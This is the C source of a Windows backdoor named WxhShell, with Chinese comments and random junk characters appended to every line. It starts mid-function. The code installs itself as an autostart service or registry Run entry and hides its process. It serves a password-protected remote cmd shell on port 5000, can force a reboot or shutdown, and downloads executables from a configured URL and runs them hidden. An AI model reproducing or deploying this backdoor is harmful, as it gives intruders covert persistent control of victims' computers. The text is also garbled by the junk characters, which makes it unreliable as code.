    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oc3}L^aD  
    if(Boot(SHUTDOWN)) (N25.}8Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=eE6=m^K  
    else { bkfk9P  
    closesocket(wsh); Rk.GrLp  
    ExitThread(0); @ag*zl  
    } mrz@Y0mgL  
    break; ngHPOI16  
    } 6$^dOJ_"  
  // 获取shell Ghpk0ia%d  
  case 's': { eEG]JH  
    CmdShell(wsh); [r5k8TB1  
    closesocket(wsh); Jz6,2,LN  
    ExitThread(0); *X4$'LSx1  
    break; &k2nt  
  } YKsc[~ h  
  // 退出 &,B91H*#  
  case 'x': { Vz,2_QJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z w&_Wt  
    CloseIt(wsh); _{5t/^w&!  
    break; rv?d3QqIC  
    } ~NtAr1  
  // 离开 v lsS  
  case 'q': { 8^Ov.$rP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !p~K;p,  
    closesocket(wsh); L7lRh=D  
    WSACleanup(); XUyoZl?  
    exit(1); a \PvRW*I  
    break; \7Fkeo+  
        } E5b JIC(  
  } pD>^Dfd  
  } Ma`Goi\vFk  
W^^}-9  
  // 提示信息 WaRYrTDv64  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MjHjL~Tg  
} #)xg$9LQb  
  } GI:$(<  
Q5s?/r  
  return; g$f ;  
} 8>|@O<2\  
HBFuA.",  
// shell模块句柄 =_L  
int CmdShell(SOCKET sock) _~ipO1*  
{ U@$=0*  
STARTUPINFO si; I2wT]L UV  
ZeroMemory(&si,sizeof(si)); >%D=#}8l@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Vq7Gxy$R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > WW5A py[  
PROCESS_INFORMATION ProcessInfo; UUt631  
char cmdline[]="cmd"; mxRe2<W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S-Y(Vn4  
  return 0; Pyx$$cj  
} 42m}c1R  
/j1p^=ARV  
// 自身启动模式 CXs i  
int StartFromService(void) h8yv:}XU*  
{ S}hg*mWn{$  
typedef struct nd] AvVS  
{ ] cv|A^  
  DWORD ExitStatus; 0+\~^  
  DWORD PebBaseAddress; ew n/@;E  
  DWORD AffinityMask; |UO1vA@  
  DWORD BasePriority; Nv iPrp>c  
  ULONG UniqueProcessId; o\luE{H .?  
  ULONG InheritedFromUniqueProcessId; H5N(MihT  
}   PROCESS_BASIC_INFORMATION; dIo|i,-  
n>dM OQb  
PROCNTQSIP NtQueryInformationProcess; afZPju"-  
diLjUC`69  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e<p_u)m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +"] 'h~W  
)pVxp]EI  
  HANDLE             hProcess; iK"j@1|  
  PROCESS_BASIC_INFORMATION pbi; i`g>Y5   
uxto:6),P<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3\,TI`^C  
  if(NULL == hInst ) return 0; L?^C\g6u]  
+M\*C#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ] 05Q4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1?(mE7H#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tc{23Rf%  
Mdh(Mp(w  
  if (!NtQueryInformationProcess) return 0; _OF 8D  
(WW,]#^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "gCSbMq(Vq  
  if(!hProcess) return 0; S)"5X)mq  
|7zm!^t$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Oh:SH|=]#  
F|V co]"S1  
  CloseHandle(hProcess); OD"eB?  
55oLj.l^j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KG#|Cq  
if(hProcess==NULL) return 0; qi7wr\XNW  
O'."ca]:5  
HMODULE hMod; na FZ<'t>&  
char procName[255]; Q9[dUdQm  
unsigned long cbNeeded; utwh"E&W  
^;YD3EZw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7l Aa6"Y68  
P|.KMtG  
  CloseHandle(hProcess); 8IC((  
nm'm*sU\  
if(strstr(procName,"services")) return 1; // 以服务启动 t:M({|m Y  
sI`i  
  return 0; // 注册表启动 nX Qz  
} @fpxGMy&  
YKh%`Y1<  
// 主模块 qc\o>$-:`  
int StartWxhshell(LPSTR lpCmdLine) }7$\F!R  
{ !*%3um  
  SOCKET wsl; !9o8v0ZI  
BOOL val=TRUE; -T{~m6  
  int port=0; gr=ke #   
  struct sockaddr_in door; Qb# S)[6s+  
VH*j3  
  if(wscfg.ws_autoins) Install(); @F7QQs3  
"_)   
port=atoi(lpCmdLine); 3iWLo Qm  
c_^H;~^rL  
if(port<=0) port=wscfg.ws_port; nbpN+a%  
7<.f&1MgI  
  WSADATA data; =GR Em5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,75,~  
l!iB -?'u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dl{3fldb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L761m7J]B  
  door.sin_family = AF_INET; V43JY_:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C-6+ZIk4  
  door.sin_port = htons(port); `%ymg8^  
0/KNXz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1shvHmrV  
closesocket(wsl); !#iP)"O  
return 1; hG us!p"lw  
} w#b~R^U  
TU. h  
  if(listen(wsl,2) == INVALID_SOCKET) { ?qK:P  
closesocket(wsl); 3!$rp- !<)  
return 1; ^ O`  
} 9DtSYd/  
  Wxhshell(wsl); 9J]LV'f7  
  WSACleanup(); t%dPj8~  
cRg$~rYd  
return 0; 56':U29.]  
Nq~bO_-I  
} ZRxB"a'  
i&LbSxUh9  
// 以NT服务方式启动 3 oWCQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7SqsVq`[~  
{ xU rfH$$!`  
DWORD   status = 0; ac&tpvij  
  DWORD   specificError = 0xfffffff; 2=3iA09px  
E>V8|Hz;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5!cplx=<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t1~*q)!Mo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #-V Kk  
  serviceStatus.dwWin32ExitCode     = 0; w|5}V6WD  
  serviceStatus.dwServiceSpecificExitCode = 0; )O&$-4gL'  
  serviceStatus.dwCheckPoint       = 0; $K G?d>wx  
  serviceStatus.dwWaitHint       = 0; OQsH,'  
Ahebr{u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X>wQYIi  
  if (hServiceStatusHandle==0) return; JqZ%*^O  
Y.C*|p#  
status = GetLastError(); /V*eAn8>  
  if (status!=NO_ERROR) tIvtiN6[|l  
{ 7PvuKAv?k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [wOO)FjT  
    serviceStatus.dwCheckPoint       = 0; 54)}^ftY^  
    serviceStatus.dwWaitHint       = 0; g{a0,B/j  
    serviceStatus.dwWin32ExitCode     = status; uIPR*9~6o  
    serviceStatus.dwServiceSpecificExitCode = specificError; p{U8z\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Mu dc  
    return; {"y 6l  
  } kB:R- St  
k4l72 'P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [j/-(?+  
  serviceStatus.dwCheckPoint       = 0; (nzzX?`nY  
  serviceStatus.dwWaitHint       = 0; D6m>>&E['  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r:o!w7C:a  
} \4&g5vE  
6RtpB\hq  
// 处理NT服务事件,比如:启动、停止 '\;tmD"N5#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :dj@i6  
{ 1h"B-x  
switch(fdwControl) d8K^`k+x  
{  )Ob{]  
case SERVICE_CONTROL_STOP: l%:_#1?isf  
  serviceStatus.dwWin32ExitCode = 0; >pYgF =J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /za,&7sf  
  serviceStatus.dwCheckPoint   = 0; BdYh:  
  serviceStatus.dwWaitHint     = 0; 4q~E\l|.5  
  { &KB{,:)?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U9q*zP_jV  
  } c*W$wr  
  return; .KD07  
case SERVICE_CONTROL_PAUSE: j?,$*Fi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0jyokER  
  break; mU_O64  
case SERVICE_CONTROL_CONTINUE: 8L@di  Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 04"hQt{[  
  break; GQQ!3LwP\O  
case SERVICE_CONTROL_INTERROGATE: g$97"d'  
  break; $ S49v  
}; Xgm7>=l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4H:WpW*r  
} -_}EQ9Q  
o]j*  
// 标准应用程序主函数 <eI;Jph5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iOyYf!yg  
{ ppYz~ {"r  
r3-3*_  
// 获取操作系统版本 N$+"zJmw&  
OsIsNt=GetOsVer(); 0Nfj}sXCWE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A4^+p0@  
68SM br  
  // 从命令行安装 'ZDclz9}  
  if(strpbrk(lpCmdLine,"iI")) Install(); _`\INZe-G  
tEUmED0FY  
  // 下载执行文件 VuY.})+J:  
if(wscfg.ws_downexe) { qRFN@ID$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ev3x*}d0  
  WinExec(wscfg.ws_filenam,SW_HIDE); O<hHo]jLF  
} 3,[2-obmi  
qq` RfZjL  
if(!OsIsNt) { BAhC-;B#R  
// 如果时win9x,隐藏进程并且设置为注册表启动 M Q6Y^,B  
HideProc(); 7~16letQ  
StartWxhshell(lpCmdLine); i~;8'>:|,M  
} ZUu^==a  
else :U 9R 1^}A  
  if(StartFromService()) yV8).4  
  // 以服务方式启动 8%4`Yj=  
  StartServiceCtrlDispatcher(DispatchTable); EI;\of2,  
else %L/=heBBd  
  // 普通方式启动 (pmo[2kg  
  StartWxhshell(lpCmdLine); 6~}H3rvO}  
*t_&im%E  
return 0; 2 zy^(%a  
} :QVGY^c  
J-}NFWR;t  
r)t^qhn  
)~/U+,  
=========================================== b>i=",i\  
nqBu C  
/\#5\dHj  
>$y >  
FMn&2fH  
-db+Y:xUZ  
" >=V+X"\Z  
3\{Sf /#  
#include <stdio.h> ,B2 -'O  
#include <string.h> kslN_\   
#include <windows.h> ;i9CQ0e ?  
#include <winsock2.h> :3B\,inJ  
#include <winsvc.h> $c}0L0  
#include <urlmon.h> my1kF%?  
a%dx\&K  
#pragma comment (lib, "Ws2_32.lib") _#C}hwOR>X  
#pragma comment (lib, "urlmon.lib") Xo`1#6xsE  
IfcFlXmt2  
#define MAX_USER   100 // 最大客户端连接数 ,<1*  
#define BUF_SOCK   200 // sock buffer 6"7qZq  
#define KEY_BUFF   255 // 输入 buffer +2SX4Kxu  
Iqsk\2W]a3  
#define REBOOT     0   // 重启 `y`xk<q  
#define SHUTDOWN   1   // 关机 L?0l1P  
~S3eatM$9  
#define DEF_PORT   5000 // 监听端口 \ax%I)3  
V5B-S.i@  
#define REG_LEN     16   // 注册表键长度 {Fi@|'  
#define SVC_LEN     80   // NT服务名长度 -e~U u  
@m V C  
// 从dll定义API qN@a<row&~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o!~bR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !)O$Q}'\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >|?T|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [R4x[36Zp  
;X(n3F  
// wxhshell配置信息 ?_aR-[XRg  
struct WSCFG { spJ(1F{|V  
  int ws_port;         // 监听端口 4*x!B![]y  
  char ws_passstr[REG_LEN]; // 口令 Ct)MvZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no sh ;uKzQ  
  char ws_regname[REG_LEN]; // 注册表键名 ~8*oGG~s  
  char ws_svcname[REG_LEN]; // 服务名 YJ$ewK4E#.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >A&@Wp1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F-^HN%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `VtwKt*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <+gl"lG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` a>vPW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v=tj.Vg  
ozC!q)j  
}; hli 10p$  
#-T.@a1X  
// default Wxhshell configuration bZ.N7X PH  
struct WSCFG wscfg={DEF_PORT, +ZKhmb!  
    "xuhuanlingzhe", 6>:~?gs  
    1, |L;psK  
    "Wxhshell", xV#a(>-4  
    "Wxhshell", K;[%S  
            "WxhShell Service", AxlFU~E4  
    "Wrsky Windows CmdShell Service", GYC&P]  
    "Please Input Your Password: ", wkD:i2E7  
  1, (0W}e(D8  
  "http://www.wrsky.com/wxhshell.exe", Eap/7U1Q  
  "Wxhshell.exe" y.p6%E_`  
    }; -vHr1I<  
SFk#bh  
// 消息定义模块 A Vm{#^p[(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5L}>+js2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5lnSa+_/f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iIaT1i4t.  
char *msg_ws_ext="\n\rExit."; R:<@+z^A[  
char *msg_ws_end="\n\rQuit."; _-]!;0E IV  
char *msg_ws_boot="\n\rReboot..."; *W12Rb2  
char *msg_ws_poff="\n\rShutdown..."; o^Ysp&#p  
char *msg_ws_down="\n\rSave to "; v Q"s  
-fJ@R1]  
char *msg_ws_err="\n\rErr!"; ~AanU1U<  
char *msg_ws_ok="\n\rOK!"; i ,pN1_-  
O[)]dD&'  
char ExeFile[MAX_PATH]; tvT8UW'  
int nUser = 0; t3t0vWE<,  
HANDLE handles[MAX_USER]; i1I>RK  
int OsIsNt; ~9r!m5ws  
QaWHz   
SERVICE_STATUS       serviceStatus; k0_$M{@Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qQOD  
<m,yFk  
// 函数声明 K;p<f{PE  
int Install(void); Xexe{h4t_>  
int Uninstall(void); Pzp+I}  
int DownloadFile(char *sURL, SOCKET wsh); f&}A!uLe4x  
int Boot(int flag); &3Z. #*  
void HideProc(void); d-;9L56{P  
int GetOsVer(void); l(#ke  
int Wxhshell(SOCKET wsl); rLh9`0|D  
void TalkWithClient(void *cs); g'ZMV6b?K  
int CmdShell(SOCKET sock); UIOEkQ\Wl  
int StartFromService(void); Z.':&7Y  
int StartWxhshell(LPSTR lpCmdLine); BwJ^_:(p~  
b/B`&CIA0"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y^2Qxo3"3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u:$x6/t  
C`n9/[,#  
// 数据结构和表定义 96pk[5lj{?  
SERVICE_TABLE_ENTRY DispatchTable[] = ]}[Yf  
{ q|o |/O-{  
{wscfg.ws_svcname, NTServiceMain}, Y/,$Y]%g  
{NULL, NULL} wD ],{y  
}; nS+FX& _  
*Z`XG_s5  
// 自我安装 eKVALUw  
int Install(void) o}MzqKfu  
{ Sf&?3a+f  
  char svExeFile[MAX_PATH]; jD/7/G*  
  HKEY key; XDkS ^9  
  strcpy(svExeFile,ExeFile); a3UPbl3^  
/Pn.)Lxfl  
// 如果是win9x系统,修改注册表设为自启动 {(Og/[  
if(!OsIsNt) { %,,`N I{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j\'+wVyo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p x|>v8  
  RegCloseKey(key); 1Vf78n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oY%"2PW1B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1G9wC:e  
  RegCloseKey(key); ')5L_$  
  return 0; J4G> E.8  
    } px _s@>l`  
  } ~J1;tZS  
} r|^lt7\  
else { 8nIMZV  
4e@&QOo`Cu  
// 如果是NT以上系统,安装为系统服务 H+VO.s.a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _7lt(f[S  
if (schSCManager!=0) HX3D*2v":  
{ ],\sRQbv&  
  SC_HANDLE schService = CreateService wKk 3)@il  
  ( hu P^2*c  
  schSCManager, &^&$!Xmu9  
  wscfg.ws_svcname, [O7w =  
  wscfg.ws_svcdisp, {b'}:aMc  
  SERVICE_ALL_ACCESS, uZ\wwYY#M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^E$(1><-a  
  SERVICE_AUTO_START, sK@Y!oF}\  
  SERVICE_ERROR_NORMAL, _k_>aG23  
  svExeFile, xN`r4  
  NULL, "[*S?QO(L  
  NULL, /WgPXEB  
  NULL, =Y &9 qt  
  NULL, ?aFr8i:)M  
  NULL BFMS*t`  
  ); LBmM{Gu  
  if (schService!=0) cX %:  
  { (@)2PO /  
  CloseServiceHandle(schService); q]"2hLq  
  CloseServiceHandle(schSCManager); D[89*@v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZT) !8  
  strcat(svExeFile,wscfg.ws_svcname); Cf0|Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *$i;o3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HKTeqH_:  
  RegCloseKey(key); 7q%|4Z-~  
  return 0; ^^7L"je]g  
    } euV$2Fg  
  } qr)v'aC3  
  CloseServiceHandle(schSCManager); <.,RBo  
} L#`2.nU  
} EI1W .V>@  
;w`sz.  
return 1; *A?8F"6>  
} {ExII<=6  
9ZDVy7m\i-  
// 自我卸载 FZe:co8Mu  
int Uninstall(void) *.," N}  
{ UrO=!Gk  
  HKEY key; [D3+cDph  
bz{^h'  
if(!OsIsNt) { j)jCu ;`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <nDNiM#  
  RegDeleteValue(key,wscfg.ws_regname); [ rQMD^:M$  
  RegCloseKey(key); }#yU'#|d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C=N! z  
  RegDeleteValue(key,wscfg.ws_regname); ^Xs%.`Gv/  
  RegCloseKey(key); )|y#OZHR  
  return 0; H LjvKE=W  
  } $!!R:Wn/R  
} {(rf/:X!p  
} O( VxMO  
else { 7\IL  
,*/Pg 52?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q  |  
if (schSCManager!=0) GI4?|@%vD!  
{ 8r,9OM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tY/En-&t  
  if (schService!=0) 807al^s x  
  { Da-u-_~  
  if(DeleteService(schService)!=0) { j!YNg*H  
  CloseServiceHandle(schService); O!;H}{[dg  
  CloseServiceHandle(schSCManager); r0>q%eM8  
  return 0; N83!C=X'  
  } l+%Fl=Q2em  
  CloseServiceHandle(schService); >Q; g0\I_  
  } -*?p F_*w  
  CloseServiceHandle(schSCManager); R"@7m!IA  
} ]k[x9,IU\y  
} E W`W~h[  
jDR')ascn  
return 1; FJ{=2]x|  
} jz*0`9&_  
d$w(-tV42  
// 从指定url下载文件 ~i% -WX  
int DownloadFile(char *sURL, SOCKET wsh) 1\/{#c  
{ z. 'Fv7  
  HRESULT hr; $; ?c?n+  
char seps[]= "/"; C>^,*7dS  
char *token; wb b*nL|P  
char *file; Q|?'(J+  
char myURL[MAX_PATH]; W!t{rI72  
char myFILE[MAX_PATH]; rn;<HT  
/iplU  
strcpy(myURL,sURL); +jUgx;u,  
  token=strtok(myURL,seps); wh%xkXa[ur  
  while(token!=NULL) lr,q{;  
  { Z:!IX^q;}n  
    file=token; Mm5c8[   
  token=strtok(NULL,seps); )i;un.  
  } c S4DN  
x|8^i6xB  
GetCurrentDirectory(MAX_PATH,myFILE); .46#`4av  
strcat(myFILE, "\\"); vv+km+  
strcat(myFILE, file); 7'z(~3D  
  send(wsh,myFILE,strlen(myFILE),0); P>(&glr|  
send(wsh,"...",3,0); _BbvhWN&+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n+2%tW  
  if(hr==S_OK) P$_&  
return 0; K4:  $=  
else P1MvtI4gm  
return 1; =~&VdPZ  
)>V?+L5M  
} ;+a2\j+  
U9 #w  
// 系统电源模块 =-w;z x  
int Boot(int flag) xYPxg!  
{ z`4c 4h]I  
  HANDLE hToken; RND9D\7  
  TOKEN_PRIVILEGES tkp; h h"h j  
Fk{J@Y  
  if(OsIsNt) { e4DMO*6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nob0T5G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M ,`w A  
    tkp.PrivilegeCount = 1; j C)-`_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5MR,UgT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qw<HY$3=  
if(flag==REBOOT) { V7EQ4Om:It  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TN\|fzj  
  return 0; R:M,tL-l  
} h$`#YNd'  
else { nBkh:5E5%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O#)jr-vXdV  
  return 0; Ke!'gohv  
} X3',vey  
  } dxK9:IX  
  else { k=$AhT=e}n  
if(flag==REBOOT) { (,B#t7ka  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f"dSr  
  return 0; LBat:7aH>  
} 7CGyC[[T~  
else { z8"7u /4v{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FQk!d$BG  
  return 0; E8ta|D  
} Qs%B'9")  
} 2}vNSQvG  
d$G}iJ8$mp  
return 1; 8PBvV[  
} _[t8rl  
?T!)X)A#  
// win9x进程隐藏模块 9%tobo@J~n  
void HideProc(void) ?s2^zT  
{ Su7bm1  
LHkQ'O0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =^tA_AxVw  
  if ( hKernel != NULL ) +.kfU)6@  
  {  U>a\j2I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jxa4hM0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yf}xwpuLk  
    FreeLibrary(hKernel); *z8|P#@  
  } 0^3+P%(o@  
D=+NxR[  
return; ,eRQu.  
} nL-K)G,  
T^:fn-S}=  
// 获取操作系统版本 4CrLkr  
int GetOsVer(void) p*20-!{A  
{ sOpep  
  OSVERSIONINFO winfo; <%P2qgz5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D +RiM~LH8  
  GetVersionEx(&winfo); xr%#dVk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h&;t.Gdf  
  return 1; nB5zNyY4  
  else k XrlSaIc  
  return 0;  }ptq )p  
} a`!@+6yC  
^5; `-Ky  
// 客户端句柄模块 Y`BRh9Sa  
int Wxhshell(SOCKET wsl) }t%W1UJ  
{ lz<]5T|  
  SOCKET wsh; oM1Qh?  
  struct sockaddr_in client; m@Rtlb  
  DWORD myID; y7)(LQRE {  
]uQqn]+I!  
  while(nUser<MAX_USER) T.m mmT  
{ k[kju%i4  
  int nSize=sizeof(client); ._PzYE|m2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~}"]&%Q{J  
  if(wsh==INVALID_SOCKET) return 1; ?LK 2g  
[yS#O\$'e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1P(&J  
if(handles[nUser]==0) U;q];e:,=}  
  closesocket(wsh); ~xLJe`"JUx  
else %$5H!!~o  
  nUser++; n6<V+G)T  
  } SUM4Di7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #oni:]E!m  
<RNJ>>0  
  return 0; T~:|!`  
} 4\M.6])_   
EYX$pz(x;  
// 关闭 socket rXfy!rD_P_  
void CloseIt(SOCKET wsh) p-SJ6Gg 9  
{ ]#2Y e7+  
closesocket(wsh); 9DQa PA6  
nUser--; VQ#3#Hj  
ExitThread(0); tmUFT  
} kwpK1R4zs  
OEx^3z^  
// 客户端请求句柄 hC <O`|lF  
void TalkWithClient(void *cs) v <Kmq-b  
{ U}k9 Py  
=#gEB#$x:  
  SOCKET wsh=(SOCKET)cs; wU\s; dK  
  char pwd[SVC_LEN]; 4m)OR  
  char cmd[KEY_BUFF]; jPZaD>!  
char chr[1]; 67SV~L#%O  
int i,j; n\z,/'d"  
Z|" p*5O,  
  while (nUser < MAX_USER) { j _L@U2i  
,#?uJTLH  
if(wscfg.ws_passstr) { T"7~AbgNU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $(e#aHB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X;v$5UKU  
  //ZeroMemory(pwd,KEY_BUFF); '6y}ZE[  
      i=0; MY#   
  while(i<SVC_LEN) { G  uQ=gN  
UFAL1c<V  
  // 设置超时 Xce0~\_ A  
  fd_set FdRead; >K9#3 4hP  
  struct timeval TimeOut; 4;`oUt'.  
  FD_ZERO(&FdRead); _j?e~w&0b  
  FD_SET(wsh,&FdRead); _WXtB#  
  TimeOut.tv_sec=8; l>*"mh  
  TimeOut.tv_usec=0; y\dEk:\)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W6H,6v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l<0}l^C.  
X4l@woh%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ';Zi@f"  
  pwd=chr[0]; ~vlype3/EF  
  if(chr[0]==0xd || chr[0]==0xa) { h\v'9  
  pwd=0; ,to+oSZE  
  break; ,1OyN]f3  
  } c:Wze*vI ;  
  i++; om?-WJI  
    } |sRipWh  
)q7UxzE+  
  // 如果是非法用户,关闭 socket m<FOu<y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PxH72hBS  
} xk&Jl#v  
{:@tQdM:i8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4vBL6!z:Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >h0-;  
M9zfT !-  
while(1) { {pM?5"M MJ  
/|6;Z}2  
  ZeroMemory(cmd,KEY_BUFF); g~(E>6Y  
2^8%>,  
      // 自动支持客户端 telnet标准   cuy1DDl  
  j=0; zg-2C>(6a  
  while(j<KEY_BUFF) { jck}" N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ys 5&PZg*  
  cmd[j]=chr[0]; $!&*xrrNM  
  if(chr[0]==0xa || chr[0]==0xd) { orOt>5}b<  
  cmd[j]=0; y ]?V~%  
  break; 5j~$Mj`  
  } .tD*2  
  j++; o,|[GhtHqs  
    } [1.+H yJ}  
@v}/zS  
  // 下载文件 V5*OA??k<  
  if(strstr(cmd,"http://")) { \=_{na_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4:gRr   
  if(DownloadFile(cmd,wsh)) }.s~T#v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M|:UwqV>  
  else Yw#2uh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tHzZ@72B7  
  } O)vp~@ |  
  else { 9K1oZ?)_z  
XQw>EZdj_N  
    switch(cmd[0]) { L|p Z$HB  
